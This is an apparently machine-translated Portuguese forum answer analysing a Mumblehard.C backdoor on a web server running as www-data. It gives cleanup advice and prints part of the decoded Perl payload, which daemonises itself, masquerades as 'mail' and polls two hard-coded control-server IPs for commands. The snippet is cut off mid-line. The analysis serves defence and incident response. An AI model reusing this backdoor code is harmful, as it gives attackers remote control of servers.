Esta parece ser a carga do backdoor Mumblehard.C. Este arquivo permite a execução arbitrária de código dos servidores de controle listados no arquivo e seria capaz de executar com as permissões do usuário www-data.
Eu certamente backup de seus dados e reinstalar no entanto, o escopo deste backdoor deve ser apenas o usuário www-data e provavelmente foi devido a uma instalação do WordPress desatualizada.
É intencionalmente difícil matar. Você pode, em vez disso, matar todos os processos em execução sob o usuário www-data se precisar tentar atenuá-lo enquanto o sistema ainda estiver em execução.
O arquivo em / var / tmp é um script perl que codifica outro script perl usando o formato uuencode. Você não incluiu a coisa toda, mas aqui está o que parece até agora:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0 = "mail"; $| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["77.72.83.137","93.88.74.243"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $conten
Isso parece acompanhar de perto o código daqui:
Onde 77.72.83.137 e 93.88.74.243 são os servidores de controle. Ambos esses IPs estão registrados na Rússia e são para VPSs. Um dos IPs está listado para atividade de spam:
Como esses IPs são indexados nos mecanismos de pesquisa, espere que o invasor os desabilite automaticamente. Embora eu duvide muito, já que os VPSs não vão ajudá-lo legalmente de qualquer maneira.